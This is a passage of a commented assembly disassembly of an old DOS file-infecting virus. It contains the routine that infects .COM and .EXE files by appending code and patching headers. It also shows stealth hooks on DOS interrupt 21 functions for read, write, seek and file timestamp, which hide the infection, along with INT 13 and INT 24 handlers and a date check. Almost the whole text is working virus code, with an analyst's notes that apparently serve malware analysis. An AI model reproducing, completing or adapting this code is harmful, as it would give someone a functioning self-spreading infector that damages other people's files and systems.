  755.         les    bx,dword ptr cs:prm_blck_adr    ; (CS:1224) Load EXEC param block address
  756.         lds    si,dword ptr es:[bx+12h]    ; Load CS:IP from EXEC parameter block
  757.         jc    loc_40                ; Jump if carry Set
  758.         and    byte ptr cs:data_85,0FEh    ; (CS:12B3=0)
  759.         cmp    si,1            ; infected .EXE ?
  760.         je    loc_38            ; Jump if equal
  761.         mov    ax,[si]
  762.         add    ax,[si+2]
  763.         add    ax,[si+4]
  764.         jnz    loc_39            ; Jump if not zero
  765.         mov    bx,[si+1]
  766.         mov    ax,ds:[bx+si+sav_file]    ; (013B:FD9F) saved original file
  767.         mov    [si],ax
  768.         mov    ax,ds:[bx+si+sav_file+2] ; (013B:FDA1) saved original file
  769.         mov    [si+2],ax
  770.         mov    ax,ds:[bx+si+sav_file+4] ; (013B:FDA3) saved original file
  771.         mov    [si+4],ax
  772.         jmp    short loc_39        ; (0765)
  773. loc_38:
  774.         mov    dx,word ptr ds:data_29+2    ; (013B:001A=2E09h)
  775.         call    sub_9            ; Get PSP segment
  776.         mov    cx,cs:data_77        ; (CS:12A3) - PSP segment
  777.         add    cx,10h
  778.         add    dx,cx
  779.         mov    es:[bx+14h],dx
  780.         mov    ax,word ptr ds:data_29    ; (013B:0018=7332h)
  781.         mov    es:[bx+12h],ax
  782.         mov    ax,ds:data_27        ; (013B:0012=2E08h)
  783.         add    ax,cx
  784.         mov    es:[bx+10h],ax
  785.         mov    ax,ds:data_28        ; (013B:0014=3E80h)
  786.         mov    es:[bx+0Eh],ax
  787. loc_39:
  788.         call    sub_9            ; Get PSP segment
  789.         mov    ds,cs:data_77        ; (CS:12A3=0)
  790.         mov    ax,[bp+2]
  791.         mov    ds:PSP_0A,ax        ; (0000:000A=0F000h)
  792.         mov    ax,[bp+4]
  793.         mov    word ptr ds:PSP_0A+2,ax ; (0000:000C=7F6h)
  794. loc_40:
  795.         jmp    loc_13            ; (0396)
  796. _21_30:     mov    byte ptr cs:data_104,0    ; (CS:12F0=0)
  797.         mov    ah,2Ah
  798.         call    sub_24            ; INT 21
  799.         cmp    dx,916h
  800.         jb    loc_41            ; Jump if below
  801.         call    sub_28            ; (0FB2)
  802. loc_41:
  803.         jmp    loc_10            ; (030F)
  804.  
  805. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  806. ;             SUBROUTINE - INFECTION
  807. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  808.  
  809. sub_4        proc    near
  810.         call    sub_13            ; (0CC6)
  811.         call    sub_5            ; (0855)
  812.         mov    byte ptr data_31,1    ; (CS:0020=0)
  813.         cmp    data_38,5A4Dh        ; (CS:1200=0)
  814.         je    loc_42            ; Jump if equal
  815.         cmp    data_38,4D5Ah        ; (CS:1200=0)
  816.         je    loc_42            ; Jump if equal
  817.         dec    byte ptr data_31    ; (CS:0020=0)
  818.         jz    loc_45            ; Jump if zero
  819. loc_42:
  820. ; .EXE file infect
  821.         mov    ax,data_41        ; (CS:1204=0)
  822.         shl    cx,1            ; Shift w/zeros fill
  823.         mul    cx            ; dx:ax = reg * ax
  824.         add    ax,200h
  825.         cmp    ax,si
  826.         jb    loc_44            ; Jump if below
  827.         mov    ax,data_43        ; (CS:120A=0)
  828.         or    ax,data_44        ; (CS:120C=0)
  829.         jz    loc_44            ; Jump if zero
  830.         mov    ax,data_80        ; (CS:12A9=0)
  831.         mov    dx,data_81        ; (CS:12AB=0)
  832.         mov    cx,200h
  833.         div    cx            ; ax,dx rem=dx:ax/reg
  834.         or    dx,dx            ; Zero ?
  835.         jz    loc_43            ; Jump if zero
  836.         inc    ax
  837. loc_43:
  838.         mov    data_41,ax        ; (CS:1204=0)
  839.         mov    data_40,dx        ; (CS:1202=0)
  840.         cmp    data_48,1        ; (CS:1214=0)
  841.         je    loc_46            ; Jump if equal
  842.         mov    data_48,1        ; (CS:1214=0)
  843.         mov    ax,si
  844.         sub    ax,data_42        ; (CS:1208=0)
  845.         mov    data_49,ax        ; (CS:1216=0)
  846.         add    data_41,8        ; (CS:1204=0)
  847.         mov    data_45,ax        ; (CS:120E=0)
  848.         mov    data_46,1000h        ; (CS:1210=0) BUG BUG BUG!!!
  849.                         ; When .EXE file is infected,
  850.                         ; the end of the virus wil be
  851.                         ; damaged. (sp = 1000)
  852.         call    sub_6            ; (08B3)
  853. loc_44:
  854.         jmp    short loc_46        ; (084C)
  855. loc_45:
  856. ; .COM file infect
  857.         cmp    si,0F00h        ; file len in paragraphs
  858.         jae    loc_46            ; Jump if above or =
  859.         mov    ax,data_38        ; (CS:1200=0)
  860.         mov    data_23,ax        ; (CS:0004=20CDh)
  861.         add    dx,ax
  862.         mov    ax,data_40        ; (CS:1202=0)
  863.         mov    data_24,ax        ; (CS:0006=340h)
  864.         add    dx,ax
  865.         mov    ax,data_41        ; (CS:1204=0)
  866.         mov    data_25,ax        ; (CS:0008=50C6h)
  867.         add    dx,ax
  868.         jz    loc_46            ; Jump if zero - allready infected
  869.         mov    cl,0E9h
  870.         mov    byte ptr data_38,cl    ; (CS:1200=0)
  871.         mov    ax,10h
  872.         mul    si            ; dx:ax = reg * ax
  873.         add    ax,265h
  874.         mov    word ptr data_38+1,ax    ; (CS:1201=0)
  875.         mov    ax,data_38        ; (CS:1200=0)
  876.         add    ax,data_40        ; (CS:1202=0)
  877.         neg    ax
  878.         mov    data_41,ax        ; (CS:1204=0)
  879.         call    sub_6            ; (08B3)
  880. loc_46:
  881.         mov    ah,3Eh            ; '>'
  882.         call    sub_24            ; INT 21
  883.         call    sub_14            ; (0D6C)
  884.         retn
  885. sub_4        endp
  886.  
  887.  
  888. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  889. ;                   SUBROUTINE
  890. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  891.  
  892. sub_5        proc    near
  893.         push    cs
  894.         pop    ds
  895.         mov    ax,5700h
  896.         call    sub_24            ; INT 21
  897.         mov    data_53,cx        ; (CS:1229=0)
  898.         mov    data_54,dx        ; (CS:122B=0)
  899.         mov    ax,4200h
  900.         xor    cx,cx            ; Zero register
  901.         mov    dx,cx
  902.         call    sub_24            ; INT 21
  903.         mov    ah,3Fh            ; '?'
  904.         mov    cl,1Ch
  905.         mov    dx,1200h
  906.         call    sub_24            ; INT 21
  907.         mov    ax,4200h
  908.         xor    cx,cx            ; Zero register
  909.         mov    dx,cx
  910.         call    sub_24            ; INT 21
  911.         mov    ah,3Fh            ; '?'
  912.         mov    cl,1Ch
  913.         mov    dx,4
  914.         call    sub_24            ; INT 21
  915.         mov    ax,4202h
  916.         xor    cx,cx            ; Zero register
  917.         mov    dx,cx
  918.         call    sub_24            ; INT 21
  919.         mov    data_80,ax        ; (CS:12A9=0)
  920.         mov    data_81,dx        ; (CS:12AB=0)
  921.         mov    di,ax
  922.         add    ax,0Fh
  923.         adc    dx,0
  924.         and    ax,0FFF0h
  925.         sub    di,ax
  926.         mov    cx,10h
  927.         div    cx            ; ax,dx rem=dx:ax/reg
  928.         mov    si,ax
  929.         retn
  930. sub_5        endp
  931.  
  932.  
  933. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  934. ;                   SUBROUTINE
  935. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  936.  
  937. sub_6        proc    near
  938.         mov    ax,4200h
  939.         xor    cx,cx            ; Zero register
  940.         mov    dx,cx
  941.         call    sub_24            ; INT 21
  942.         mov    ah,40h
  943.         mov    cl,1Ch
  944.         mov    dx,1200h
  945.         call    sub_24            ; INT 21
  946.         mov    ax,10h
  947.         mul    si            ; dx:ax = reg * ax
  948.         mov    cx,dx
  949.         mov    dx,ax
  950.         mov    ax,4200h
  951.         call    sub_24            ; INT 21
  952.         xor    dx,dx            ; Zero register
  953.         mov    cx,1000h
  954.         add    cx,di
  955.         mov    ah,40h
  956.         call    sub_24            ; INT 21
  957.         mov    ax,5701h
  958.         mov    cx,data_53        ; (CS:1229=0)
  959.         mov    dx,data_54        ; (CS:122B=0)
  960.         test    dh,80h
  961.         jnz    loc_47            ; Jump if not zero
  962.         add    dh,0C8h
  963. loc_47:     call    sub_24            ; INT 21
  964.         cmp    byte ptr dos_ver,3    ; (CS:12EE=0)
  965.         jb    loc_ret_48        ; Jump if below
  966.         cmp    byte ptr data_103,0    ; (CS:12EF=0)
  967.         je    loc_ret_48        ; Jump if equal
  968.         push    bx
  969.         mov    dl,data_52        ; (CS:1228=0)
  970.         mov    ah,32h
  971.         call    sub_24            ; INT 21
  972.         mov    ax,cs:data_101        ; (CS:12EC=0)
  973.         mov    [bx+1Eh],ax
  974.         pop    bx
  975. loc_ret_48:
  976.         retn
  977. sub_6        endp
  978.  
  979.  
  980. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  981. ;                   SUBROUTINE
  982. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  983.  
  984. sub_7        proc    near
  985.         call    sub_21            ; Save REGS in vir's stack
  986.         mov    di,dx
  987.         add    di,0Dh
  988.         push    ds
  989.         pop    es
  990.         jmp    short loc_50        ; (0945)
  991. sub_7        endp
  992.  
  993.  
  994. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  995. ;                   SUBROUTINE
  996. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  997.  
  998. sub_8        proc    near
  999.         call    sub_21            ; Save REGS in vir's stack - save REGS
  1000.         push    ds
  1001.         pop    es
  1002.         mov    di,dx
  1003.         mov    cx,50h
  1004.         xor    ax,ax            ; Zero register
  1005.         mov    bl,0
  1006.         cmp    byte ptr [di+1],3Ah    ; ':'
  1007.         jne    loc_49            ; Jump if not equal
  1008.         mov    bl,[di]
  1009.         and    bl,1Fh
  1010. loc_49:
  1011.         mov    cs:data_52,bl        ; (CS:1228=0)
  1012.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  1013. loc_50:
  1014.         mov    ax,[di-3]
  1015.         and    ax,0DFDFh
  1016.         add    ah,al
  1017.         mov    al,[di-4]
  1018.         and    al,0DFh
  1019.         add    al,ah
  1020.         mov    byte ptr cs:data_31,0    ; (CS:0020=0)
  1021.         cmp    al,0DFh         ; file name is ....COM
  1022.         je    loc_51            ; Jump if equal
  1023.         inc    byte ptr cs:data_31    ; (CS:0020=0)
  1024.         cmp    al,0E2h         ; file name is ....EXE
  1025.         jne    loc_52            ; Jump if not equal
  1026. loc_51:
  1027.         call    sub_20            ; Restore regs from vir's stack
  1028.         clc                ; Clear carry flag
  1029.         retn
  1030. loc_52:
  1031.         call    sub_20            ; Restore regs from vir's stack
  1032.         stc                ; Set carry flag
  1033.         retn
  1034. sub_8        endp
  1035.  
  1036.  
  1037. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1038. ;                   SUBROUTINE
  1039. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1040.  
  1041. sub_9        proc    near
  1042.         push    bx
  1043.         mov    ah,51h
  1044.         call    sub_24            ; INT 21
  1045.         mov    cs:data_77,bx        ; (CS:12A3=0)
  1046.         pop    bx
  1047.         retn
  1048. sub_9        endp
  1049.  
  1050.  
  1051. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1052. ;                   SUBROUTINE
  1053. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1054.  
  1055. sub_10        proc    near
  1056.         call    sub_13            ; (0CC6)
  1057.         push    dx
  1058.         mov    dl,cs:data_52        ; (CS:1228=0)
  1059.         mov    ah,36h            ; '6'
  1060.         call    sub_24            ; INT 21
  1061.         mul    cx            ; dx:ax = reg * ax
  1062.         mul    bx            ; dx:ax = reg * ax
  1063.         mov    bx,dx
  1064.         pop    dx
  1065.         or    bx,bx            ; Zero ?
  1066.         jnz    loc_53            ; Jump if not zero
  1067.         cmp    ax,4000h
  1068.         jb    loc_54            ; Jump if below
  1069. loc_53:
  1070.         mov    ax,4300h
  1071.         call    sub_24            ; INT 21
  1072.         jc    loc_54            ; Jump if carry Set
  1073.         mov    di,cx
  1074.         xor    cx,cx            ; Zero register
  1075.         mov    ax,4301h
  1076.         call    sub_24            ; INT 21
  1077.         cmp    byte ptr cs:data_90,0    ; (CS:12DA=0)
  1078.         jne    loc_54            ; Jump if not equal
  1079.         mov    ax,3D02h
  1080.         call    sub_24            ; INT 21
  1081.         jc    loc_54            ; Jump if carry Set
  1082.         mov    bx,ax
  1083.         mov    cx,di
  1084.         mov    ax,4301h
  1085.         call    sub_24            ; INT 21
  1086.         push    bx
  1087.         mov    dl,cs:data_52        ; (CS:1228=0)
  1088.         mov    ah,32h            ; '2'
  1089.         call    sub_24            ; INT 21
  1090.         mov    ax,[bx+1Eh]
  1091.         mov    cs:data_101,ax        ; (CS:12EC=0)
  1092.         pop    bx
  1093.         call    sub_14            ; (0D6C)
  1094.         retn
  1095. loc_54:
  1096.         xor    bx,bx            ; Zero register
  1097.         dec    bx
  1098.         call    sub_14            ; (0D6C)
  1099.         retn
  1100. sub_10        endp
  1101.  
  1102.  
  1103. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1104. ;                   SUBROUTINE
  1105. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1106.  
  1107. sub_11        proc    near
  1108.         push    cx
  1109.         push    dx
  1110.         push    ax
  1111.         mov    ax,4400h
  1112.         call    sub_24            ; INT 21
  1113.         xor    dl,80h
  1114.         test    dl,80h
  1115.         jz    loc_55            ; Jump if zero
  1116.         mov    ax,5700h
  1117.         call    sub_24            ; INT 21
  1118.         test    dh,80h
  1119. loc_55:
  1120.         pop    ax
  1121.         pop    dx
  1122.         pop    cx
  1123.         retn
  1124. sub_11        endp
  1125.  
  1126.  
  1127. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1128. ;                   SUBROUTINE
  1129. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1130.  
  1131. sub_12        proc    near
  1132.         call    sub_21            ; Save REGS in vir's stack
  1133.         mov    ax,4201h
  1134.         xor    cx,cx            ; Zero register
  1135.         xor    dx,dx            ; Zero register
  1136.         call    sub_24            ; INT 21
  1137.         mov    cs:data_78,ax        ; (CS:12A5=0)
  1138.         mov    cs:data_79,dx        ; (CS:12A7=0)
  1139.         mov    ax,4202h
  1140.         xor    cx,cx            ; Zero register
  1141.         xor    dx,dx            ; Zero register
  1142.         call    sub_24            ; INT 21
  1143.         mov    cs:data_80,ax        ; (CS:12A9=0)
  1144.         mov    cs:data_81,dx        ; (CS:12AB=0)
  1145.         mov    ax,4200h
  1146.         mov    dx,cs:data_78        ; (CS:12A5=0)
  1147.         mov    cx,cs:data_79        ; (CS:12A7=0)
  1148.         call    sub_24            ; INT 21
  1149.         call    sub_20            ; Restore regs from vir's stack
  1150.         retn
  1151. sub_12        endp
  1152.  
  1153. _21_57:     or    al,al            ; Zero ?
  1154.         jnz    loc_58            ; Jump if not zero
  1155.         and    cs:data_85,0FFFEh    ; (CS:12B3=0)
  1156.         call    sub_19            ; Restore REGS
  1157.         call    sub_24            ; INT 21
  1158.         jc    loc_57            ; Jump if carry Set
  1159.         test    dh,80h
  1160.         jz    loc_56            ; Jump if zero
  1161.         sub    dh,0C8h
  1162. loc_56:
  1163.         jmp    loc_11            ; (033F)
  1164. loc_57:
  1165.         or    cs:data_85,1        ; (CS:12B3=0)
  1166.         jmp    loc_11            ; (033F)
  1167. loc_58:
  1168.         cmp    al,1
  1169.         jne    loc_61            ; Jump if not equal
  1170.         and    cs:data_85,0FFFEh    ; (CS:12B3=0)
  1171.         test    dh,80h
  1172.         jz    loc_59            ; Jump if zero
  1173.         sub    dh,0C8h
  1174. loc_59:
  1175.         call    sub_11            ; (09E6)
  1176.         jz    loc_60            ; Jump if zero
  1177.         add    dh,0C8h
  1178. loc_60:
  1179.         call    sub_24            ; INT 21
  1180.         mov    [bp-4],ax
  1181.         adc    cs:data_85,0        ; (CS:12B3=0)
  1182.         jmp    loc_13            ; (0396)
  1183. _21_42:     cmp    al,2
  1184.         jne    loc_61            ; Jump if not equal
  1185.         call    sub_11            ; (09E6)
  1186.         jz    loc_61            ; Jump if zero
  1187.         sub    word ptr [bp-0Ah],1000h
  1188.         sbb    word ptr [bp-8],0
  1189. loc_61:
  1190.         jmp    loc_10            ; (030F)
  1191. _21_3F:     and    byte ptr cs:data_85,0FEh    ; (CS:12B3=0)
  1192.         call    sub_11            ; (09E6)
  1193.         jz    loc_61            ; Jump if zero
  1194.         mov    cs:data_83,cx        ; (CS:12AF=0)
  1195.         mov    cs:data_82,dx        ; (CS:12AD=0)
  1196.         mov    cs:data_84,0        ; (CS:12B1=0)
  1197.         call    sub_12            ; (0A04)
  1198.         mov    ax,cs:data_80        ; (CS:12A9=0)
  1199.         mov    dx,cs:data_81        ; (CS:12AB=0)
  1200.         sub    ax,1000h
  1201.         sbb    dx,0
  1202.         sub    ax,cs:data_78        ; (CS:12A5=0)
  1203.         sbb    dx,cs:data_79        ; (CS:12A7=0)
  1204.         jns    loc_62            ; Jump if not sign
  1205.         mov    word ptr [bp-4],0
  1206.         jmp    loc_25            ; (0549)
  1207. loc_62:
  1208.         jnz    loc_63            ; Jump if not zero
  1209.         cmp    ax,cx
  1210.         ja    loc_63            ; Jump if above
  1211.         mov    cs:data_83,ax        ; (CS:12AF=0)
  1212. loc_63:
  1213.         mov    dx,cs:data_78        ; (CS:12A5=0)
  1214.         mov    cx,cs:data_79        ; (CS:12A7=0)
  1215.         or    cx,cx            ; Zero ?
  1216.         jnz    loc_64            ; Jump if not zero
  1217.         cmp    dx,1Ch
  1218.         jbe    loc_65            ; Jump if below or =
  1219. loc_64:
  1220.         mov    dx,cs:data_82        ; (CS:12AD=0)
  1221.         mov    cx,cs:data_83        ; (CS:12AF=0)
  1222.         mov    ah,3Fh            ; '?'
  1223.         call    sub_24            ; INT 21
  1224.         add    ax,cs:data_84        ; (CS:12B1=0)
  1225.         mov    [bp-4],ax
  1226.         jmp    loc_13            ; (0396)
  1227. loc_65:
  1228.         mov    si,dx
  1229.         mov    di,dx
  1230.         add    di,cs:data_83        ; (CS:12AF=0)
  1231.         cmp    di,1Ch
  1232.         jb    loc_66            ; Jump if below
  1233.         xor    di,di            ; Zero register
  1234.         jmp    short loc_67        ; (0B35)
  1235. loc_66:
  1236.         sub    di,1Ch
  1237.         neg    di
  1238. loc_67:
  1239.         mov    ax,dx
  1240.         mov    cx,cs:data_81        ; (CS:12AB=0)
  1241.         mov    dx,cs:data_80        ; (CS:12A9=0)
  1242.         add    dx,0Fh
  1243.         adc    cx,0
  1244.         and    dx,0FFF0h
  1245.         sub    dx,0FFCh
  1246.         sbb    cx,0
  1247.         add    dx,ax
  1248.         adc    cx,0
  1249.         mov    ax,4200h
  1250.         call    sub_24            ; INT 21
  1251.         mov    cx,1Ch
  1252.         sub    cx,di
  1253.         sub    cx,si
  1254.         mov    ah,3Fh            ; '?'
  1255.         mov    dx,cs:data_82        ; (CS:12AD=0)
  1256.         call    sub_24            ; INT 21
  1257.         add    cs:data_82,ax        ; (CS:12AD=0)
  1258.         sub    cs:data_83,ax        ; (CS:12AF=0)
  1259.         add    cs:data_84,ax        ; (CS:12B1=0)
  1260.         xor    cx,cx            ; Zero register
  1261.         mov    dx,1Ch
  1262.         mov    ax,4200h
  1263.         call    sub_24            ; INT 21
  1264.         jmp    loc_64            ; (0B04)
  1265. _21_40:     and    byte ptr cs:data_85,0FEh    ; (CS:12B3=0)
  1266.         call    sub_11            ; (09E6)
  1267.         jnz    loc_68            ; Jump if not zero
  1268.         jmp    loc_61            ; (0AA2)
  1269. loc_68:
  1270.         mov    cs:data_83,cx        ; (CS:12AF=0)
  1271.         mov    cs:data_82,dx        ; (CS:12AD=0)
  1272.         mov    cs:data_84,0        ; (CS:12B1=0)
  1273.         call    sub_12            ; (0A04)
  1274.         mov    ax,cs:data_80        ; (CS:12A9=0)
  1275.         mov    dx,cs:data_81        ; (CS:12AB=0)
  1276.         sub    ax,1000h
  1277.         sbb    dx,0
  1278.         sub    ax,cs:data_78        ; (CS:12A5=0)
  1279.         sbb    dx,cs:data_79        ; (CS:12A7=0)
  1280.         js    loc_69            ; Jump if sign=1
  1281.         jmp    short loc_71        ; (0C47)
  1282. loc_69:
  1283.         call    sub_13            ; (0CC6)
  1284.         push    cs
  1285.         pop    ds
  1286.         mov    dx,data_80        ; (CS:12A9=0)
  1287.         mov    cx,data_81        ; (CS:12AB=0)
  1288.         add    dx,0Fh
  1289.         adc    cx,0
  1290.         and    dx,0FFF0h
  1291.         sub    dx,0FFCh
  1292.         sbb    cx,0
  1293.         mov    ax,4200h
  1294.         call    sub_24            ; INT 21
  1295.         mov    dx,4
  1296.         mov    cx,1Ch
  1297.         mov    ah,3Fh            ; '?'
  1298.         call    sub_24            ; INT 21
  1299.         mov    ax,4200h
  1300.         xor    cx,cx            ; Zero register
  1301.         mov    dx,cx
  1302.         call    sub_24            ; INT 21
  1303.         mov    dx,4
  1304.         mov    cx,1Ch
  1305.         mov    ah,40h            ; '@'
  1306.         call    sub_24            ; INT 21
  1307.         mov    dx,0F000h
  1308.         mov    cx,0FFFFh
  1309.         mov    ax,4202h
  1310.         call    sub_24            ; INT 21
  1311.         mov    ah,40h            ; '@'
  1312.         xor    cx,cx            ; Zero register
  1313.         call    sub_24            ; INT 21
  1314.         mov    dx,data_78        ; (CS:12A5=0)
  1315.         mov    cx,data_79        ; (CS:12A7=0)
  1316.         mov    ax,4200h
  1317.         call    sub_24            ; INT 21
  1318.         mov    ax,5700h
  1319.         call    sub_24            ; INT 21
  1320.         test    dh,80h
  1321.         jz    loc_70            ; Jump if zero
  1322.         sub    dh,0C8h
  1323.         mov    ax,5701h
  1324.         call    sub_24            ; INT 21
  1325. loc_70:
  1326.         call    sub_14            ; (0D6C)
  1327.         jmp    loc_10            ; (030F)
  1328. loc_71:
  1329.         jnz    loc_72            ; Jump if not zero
  1330.         cmp    ax,cx
  1331.         ja    loc_72            ; Jump if above
  1332.         jmp    loc_69            ; (0BC9)
  1333. loc_72:
  1334.         mov    dx,cs:data_78        ; (CS:12A5=0)
  1335.         mov    cx,cs:data_79        ; (CS:12A7=0)
  1336.         or    cx,cx            ; Zero ?
  1337.         jnz    loc_73            ; Jump if not zero
  1338.         cmp    dx,1Ch
  1339.         ja    loc_73            ; Jump if above
  1340.         jmp    loc_69            ; (0BC9)
  1341. loc_73:
  1342.         call    sub_19            ; Restore REGS
  1343.         call    sub_24            ; INT 21
  1344.         call    sub_17            ; Save REGS
  1345.         mov    ax,5700h
  1346.         call    sub_24            ; INT 21
  1347.         test    dh,80h
  1348.         jnz    loc_74            ; Jump if not zero
  1349.         add    dh,0C8h
  1350.         mov    ax,5701h
  1351.         call    sub_24            ; INT 21
  1352. loc_74:     jmp    loc_13            ; (0396)
  1353.         jmp    loc_10            ; (030F)
  1354.  
  1355. int_13:     pop    word ptr cs:data_65    ; (CS:1241=0)
  1356.         pop    word ptr cs:data_65+2    ; (CS:1243=0)
  1357.         pop    cs:data_91        ; (CS:12DB=0)
  1358.         and    cs:data_91,0FFFEh    ; (CS:12DB=0)
  1359.         cmp    byte ptr cs:data_90,0    ; (CS:12DA=0)
  1360.         jne    loc_75            ; Jump if not equal
  1361.         push    cs:data_91        ; (CS:12DB=0)
  1362.         call    dword ptr cs:old_INT    ; (CS:122D=0)
  1363.         jnc    loc_76            ; Jump if carry=0
  1364.         inc    cs:data_90        ; (CS:12DA=0)
  1365. loc_75:     stc                ; Set carry flag
  1366. loc_76:     jmp    dword ptr cs:data_65    ; (CS:1241=0)
  1367.  
  1368. int_24:     xor    al,al            ; Zero register
  1369.         mov    byte ptr cs:data_90,1    ; (CS:12DA=0)
  1370.         iret                ; Interrupt return
  1371.  
  1372. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  1373. ;                   SUBROUTINE
  1374. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  1375.  
  1376. sub_13        proc    near
  1377.         mov    byte ptr cs:data_90,0    ; (CS:12DA=0)
  1378.         call    sub_21            ; Save REGS in vir's stack
  1379.         push    cs
  1380.         pop    ds
  1381.         mov    al,13h
  1382.         call    sub_1            ; Get INT 13 vector
  1383.         mov    word ptr old_INT,bx    ; (CS:122D=0)
  1384.         mov    word ptr old_INT+2,es    ; (CS:122F=70h)
  1385.         mov    word ptr old_INT_13,bx    ; (CS:1239=0)
  1386.         mov    word ptr old_INT_13+2,es ; (CS:123B=70h)
  1387.         mov    dl,0
  1388.         mov    al,0Dh
  1389.         call    sub_1            ; Get INT 0D vector
  1390.         mov    ax,es
  1391.         cmp    ax,0C000h
  1392.         jae    loc_77            ; Jump if above or =
  1393.         mov    dl,2
  1394. loc_77:
  1395.         mov    al,0Eh
  1396.         call    sub_1            ; Get INT 0E vector
  1397.         mov    ax,es
  1398.         cmp    ax,0C000h
  1399.         jae    loc_78            ; Jump if above or =
  1400.         mov    dl,2
  1401. loc_78:
  1402.         mov    data_73,dl        ; (CS:1250=0)
